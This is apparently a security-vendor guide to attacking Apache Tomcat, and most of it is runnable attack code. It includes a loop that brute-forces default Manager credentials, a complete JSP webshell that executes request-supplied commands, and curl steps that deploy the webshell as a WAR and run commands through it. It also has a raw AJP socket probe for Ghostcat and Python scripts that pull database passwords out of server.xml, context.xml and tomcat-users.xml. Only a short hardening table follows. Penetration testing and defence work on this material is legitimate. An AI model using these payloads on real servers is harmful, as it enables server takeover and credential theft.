Apache Tomcat Security Testing: Default Credentials, Manager WAR Upload, and RCE

Apache Tomcat is the most widely deployed Java application server — virtually every Java web application runs on Tomcat. The Manager application at /manager/ frequently uses default credentials (tomcat/tomcat, admin/admin) allowing WAR file deployment as a direct path to remote code execution. Additional high-value targets: CVE-2020-1938 Ghostcat allows unauthenticated file read via AJP port 8009; server.xml exposes JDBC database connection pool credentials; and tomcat-users.xml stores credentials in plaintext. This guide covers systematic Apache Tomcat security assessment.

Table of Contents

  1. Manager Application Default Credentials and WAR Upload RCE
  2. Ghostcat CVE-2020-1938 and AJP Connector Assessment
  3. server.xml JDBC Credentials and tomcat-users.xml Extraction
  4. Apache Tomcat Security Hardening

Manager Application Default Credentials and WAR Upload RCE

# Apache Tomcat — Manager application default credentials and WAR upload RCE
TC_URL="http://tomcat.example.com:8080"

# Check if Manager application is accessible
curl -s -o /dev/null -w "%{http_code}" "${TC_URL}/manager/html" 2>/dev/null
# 401 = Manager exists but requires authentication
# 404 = Manager not deployed (not necessarily safe — may be on different path)
# 200 = Manager accessible without auth (very dangerous)

# Test default Manager credentials
for CRED in "tomcat:tomcat" "admin:admin" "manager:manager" "admin:password" "tomcat:s3cr3t" "both:tomcat"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${TC_URL}/manager/html" \
    -u "${USER}:${PASS}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
  [ "$STATUS" = "200" ] && echo "  SUCCESS! Manager accessible"
done

# WAR upload RCE — deploy a JSP webshell via Tomcat Manager
# Using Manager text API (no browser required)
TC_USER="tomcat"
TC_PASS="tomcat"

# Create a minimal JSP webshell WAR
# In a real pentest, use msfvenom or similar to create WAR payload
cat > /tmp/shell.jsp << 'SHELLEOF'
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while((line=br.readLine())!=null)out.println(line);} %>
SHELLEOF

# Deploy WAR via Manager text API
curl -s "${TC_URL}/manager/text/deploy?path=/shell&update=true" \
  -u "${TC_USER}:${TC_PASS}" \
  --upload-file /tmp/shell.war 2>/dev/null

# Execute commands via deployed webshell
curl -s "${TC_URL}/shell/shell.jsp?cmd=id" 2>/dev/null
curl -s "${TC_URL}/shell/shell.jsp?cmd=whoami" 2>/dev/null

# List all deployed applications
curl -s "${TC_URL}/manager/text/list" \
  -u "${TC_USER}:${TC_PASS}" 2>/dev/null

Ghostcat CVE-2020-1938 and AJP Connector Assessment

# Apache Tomcat — Ghostcat CVE-2020-1938 and AJP connector assessment

# CVE-2020-1938 — Ghostcat: unauthenticated AJP file read
# Affects Tomcat 6.x, 7.x < 7.0.100, 8.x < 8.5.51, 9.x < 9.0.31
# AJP connector on port 8009 allows reading any file in the webapp root

# Check if AJP port 8009 is open
nc -zv tomcat.example.com 8009 2>/dev/null
nmap -p 8009 tomcat.example.com --open 2>/dev/null

# Ghostcat exploitation — read WEB-INF/web.xml (webapp configuration)
# Using the Ghostcat PoC (install: pip3 install ajpy)
python3 -c "
# Simplified Ghostcat check — test if AJP port is open and responding
import socket
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(('tomcat.example.com', 8009))
    print('AJP port 8009 OPEN — potential Ghostcat vulnerability')
    # Send AJP13 FORWARD_REQUEST
    # AJP13 magic: 0x1234
    s.send(b'\x12\x34\x00\x10\x02\x02\x00\x05/test\x00\x00\x00\x00\xff')
    response = s.recv(1024)
    print(f'Response: {response[:20]}')
    s.close()
except Exception as e:
    print(f'Error: {e}')
" 2>/dev/null

# Tomcat version disclosure
curl -s -o /dev/null -D - "http://tomcat.example.com:8080/nonexistent" 2>/dev/null | grep -i "server:"
# Server: Apache-Coyote/1.1  <-- older Tomcat (remove with server=""  in Connector)
# Cross-reference version against CVE database (Ghostcat, Log4Shell affecting apps, etc.)

server.xml JDBC Credentials and tomcat-users.xml Extraction

# Apache Tomcat — server.xml JDBC credentials and tomcat-users.xml extraction

# tomcat-users.xml — Tomcat Manager and Host Manager credentials (PLAINTEXT)
cat /opt/tomcat/conf/tomcat-users.xml 2>/dev/null
cat /etc/tomcat9/tomcat-users.xml 2>/dev/null
cat /var/lib/tomcat9/conf/tomcat-users.xml 2>/dev/null
# 
# 
# Credentials are ALWAYS in plaintext in this file

# server.xml — JDBC connection pool credentials in Resource elements
cat /opt/tomcat/conf/server.xml 2>/dev/null | \
  python3 -c "
import xml.etree.ElementTree as ET, sys
try:
    tree = ET.parse('/opt/tomcat/conf/server.xml')
    root = tree.getroot()
    for resource in root.iter('Resource'):
        rtype = resource.get('type','')
        if 'DataSource' in rtype or 'sql' in rtype.lower():
            print(f'DataSource: {resource.get(\"name\")}')
            print(f'  URL: {resource.get(\"url\",\"\")}')
            print(f'  Username: {resource.get(\"username\",\"\")}')
            print(f'  Password: {resource.get(\"password\",\"\")}')
except: pass
" 2>/dev/null

# context.xml — per-application JDBC credentials
find /opt/tomcat/webapps /var/lib/tomcat9/webapps -name "context.xml" 2>/dev/null | while read F; do
  echo "=== $F ==="
  python3 -c "
import xml.etree.ElementTree as ET
try:
    tree = ET.parse('${F}')
    for r in tree.getroot().iter('Resource'):
        if r.get('password'):
            print(f'  Password: {r.get(\"password\")}')
            print(f'  URL: {r.get(\"url\")}')
except: pass
" 2>/dev/null
done

# catalina.out — Tomcat log file (application errors with credentials)
tail -100 /opt/tomcat/logs/catalina.out 2>/dev/null | \
  grep -iE "password|credentials|exception|error" | head -20

Apache Tomcat Security Hardening

Apache Tomcat Security Hardening Checklist:
Security TestMethodRisk
Manager application default credentials WAR upload RCEGET /manager/html with tomcat/tomcat, admin/admin — WAR deployment enables arbitrary Java/JSP code execution on the server; full server compromiseCritical
CVE-2020-1938 Ghostcat AJP unauthenticated file read (port 8009)AJP13 request to port 8009 — read any file in webapp root including WEB-INF/web.xml, application.properties with database credentialsCritical
tomcat-users.xml plaintext credential extractionRead conf/tomcat-users.xml — all Manager and Host Manager credentials in plaintext; WAR deployment and admin panel access without brute-forceCritical
server.xml JDBC DataSource password extractionRead conf/server.xml Resource elements — JDBC database connection pool credentials; full application database accessHigh
Default examples/ application XSS and session attacksGET /examples/jsp/ — request parameter XSS via JSP session examples; session manipulation demonstrations that still functionMedium

Automate Apache Tomcat Security Testing

Ironimo tests Apache Tomcat deployments for Manager application default credential testing (tomcat/tomcat, admin/admin, manager/manager), WAR upload RCE path assessment, CVE-2020-1938 Ghostcat AJP port 8009 file read, tomcat-users.xml plaintext credential extraction, server.xml JDBC DataSource password disclosure, context.xml per-application database credential exposure, Tomcat version disclosure for CVE matching, /examples/ application accessibility, JMX remote management authentication assessment, and catalina.out log credential pattern analysis.

Start free scan